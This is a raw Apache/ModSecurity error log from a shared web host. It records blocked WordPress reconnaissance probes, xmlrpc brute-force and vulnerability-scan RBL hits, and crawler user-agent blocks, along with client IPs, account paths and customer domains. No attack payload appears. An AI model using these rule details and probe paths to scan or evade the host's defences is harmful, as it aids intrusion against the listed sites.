server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:02.739517 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.80:37883] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:02.739817 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.80:37883] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:02.744192 2026] [security2:error] [pid 531155:tid 531204] [remote 17.246.15.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySimiP80klyS0NnoZ4AABhTA"] [Sat Jun 13 18:14:02.812823 2026] [security2:error] [pid 531155:tid 531241] [remote 17.22.237.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySimiP80klyS0NnoZ5QABTlU"] [Sat Jun 13 18:14:02.877584 2026] [security2:error] [pid 531155:tid 531307] [client 143.244.57.82:53368] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3ySimiP80klyS0NnoZ6AAAASA"] [Sat Jun 13 18:14:03.040021 2026] [security2:error] [pid 531155:tid 531224] [remote 17.241.227.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySymiP80klyS0NnoZ9AABNUQ"] [Sat Jun 13 18:14:03.131623 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.88:47878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:03.131922 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.88:47878] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:03.156580 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:03.156992 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:03.489084 2026] [security2:error] [pid 531155:tid 531382] [client 143.244.57.82:53376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.57.244.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3ySymiP80klyS0NnoaEgAAAWs"] [Sat Jun 13 18:14:03.675881 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMg== [Sat Jun 13 18:14:03.676157 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMg== [Sat Jun 13 18:14:03.760002 2026] [security2:error] [pid 531155:tid 531244] [remote 17.22.245.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySymiP80klyS0NnoaJgABNlg"] [Sat Jun 13 18:14:03.809184 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.22:45226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:03.809457 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.22:45226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:03.911952 2026] [security2:error] [pid 531155:tid 531214] [remote 17.22.253.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySymiP80klyS0NnoaLQABejo"] [Sat Jun 13 18:14:03.971697 2026] [security2:error] [pid 531155:tid 531273] [remote 17.246.23.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ySymiP80klyS0NnoaNQABd3U"] [Sat Jun 13 18:14:04.032044 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.77:43371] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:04.032481 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.77:43371] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:04.103799 2026] [autoindex:error] [pid 531155:tid 531296] [client 143.244.57.82:55836] AH01276: Cannot serve directory /home4/xgejaimy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:04.190088 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.74:52324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:04.190539 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.74:52324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:04.193978 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:14:04.194440 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDY= [Sat Jun 13 18:14:04.255544 2026] [security2:error] [pid 531155:tid 531352] [client 143.244.57.82:55836] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTCmiP80klyS0NnoaRwAAAU0"] [Sat Jun 13 18:14:04.287385 2026] [security2:error] [pid 531155:tid 531219] [remote 114.119.143.151:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.hamaraquetta.com"] [uri "/whiteboard/id/67255"] [unique_id "ai3yTCmiP80klyS0NnoaSQABHz8"], referer: https://www.hamaraquetta.com/whiteboard/id/67255 [Sat Jun 13 18:14:04.379964 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.110:60324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:04.380249 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.110:60324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:04.609988 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.40:64368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:04.610307 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.40:64368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:04.651912 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.39:28844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:04.652354 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.39:28844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:04.698109 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:14:04.698387 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:14:04.829899 2026] [security2:error] [pid 531155:tid 531366] [client 172.56.168.133:35255] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yTCmiP80klyS0NnoaaAAAAVs"] [Sat Jun 13 18:14:04.830018 2026] [security2:error] [pid 531155:tid 531366] [client 172.56.168.133:35255] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yTCmiP80klyS0NnoaaAAAAVs"] [Sat Jun 13 18:14:04.860923 2026] [security2:error] [pid 531155:tid 531359] [client 143.244.57.82:55846] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTCmiP80klyS0NnoaawAAAVQ"] [Sat Jun 13 18:14:04.896718 2026] [security2:error] [pid 531155:tid 531195] [remote 17.22.253.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTCmiP80klyS0NnoabwABUSc"] [Sat Jun 13 18:14:05.260562 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:05.260900 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:05.341977 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.48:24013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:05.342279 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.48:24013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:05.468488 2026] [security2:error] [pid 531155:tid 531350] [client 143.244.57.82:55850] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTSmiP80klyS0NnoajQAAAUs"] [Sat Jun 13 18:14:05.520018 2026] [security2:error] [pid 531155:tid 531349] [client 114.119.130.231:44021] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "kcd-global.com"] [uri "/the-ultimate-holiday-checklist/"] [unique_id "ai3yTSmiP80klyS0NnoakAAAAUo"], referer: https://kcd-global.com/blog/ [Sat Jun 13 18:14:05.689239 2026] [security2:error] [pid 531155:tid 531230] [remote 17.22.245.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTSmiP80klyS0NnoalwABhEo"] [Sat Jun 13 18:14:05.789803 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:14:05.790095 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:14:05.920795 2026] [security2:error] [pid 531155:tid 531252] [remote 17.22.253.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yTSmiP80klyS0NnoapAABbmA"] [Sat Jun 13 18:14:06.069621 2026] [security2:error] [pid 531155:tid 531312] [client 143.244.57.82:55860] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3yTimiP80klyS0NnoargAAASU"] [Sat Jun 13 18:14:06.180223 2026] [security2:error] [pid 531155:tid 531379] [client 47.128.24.48:45912] ModSecurity: Access denied with code 406 (phase 1). Pattern 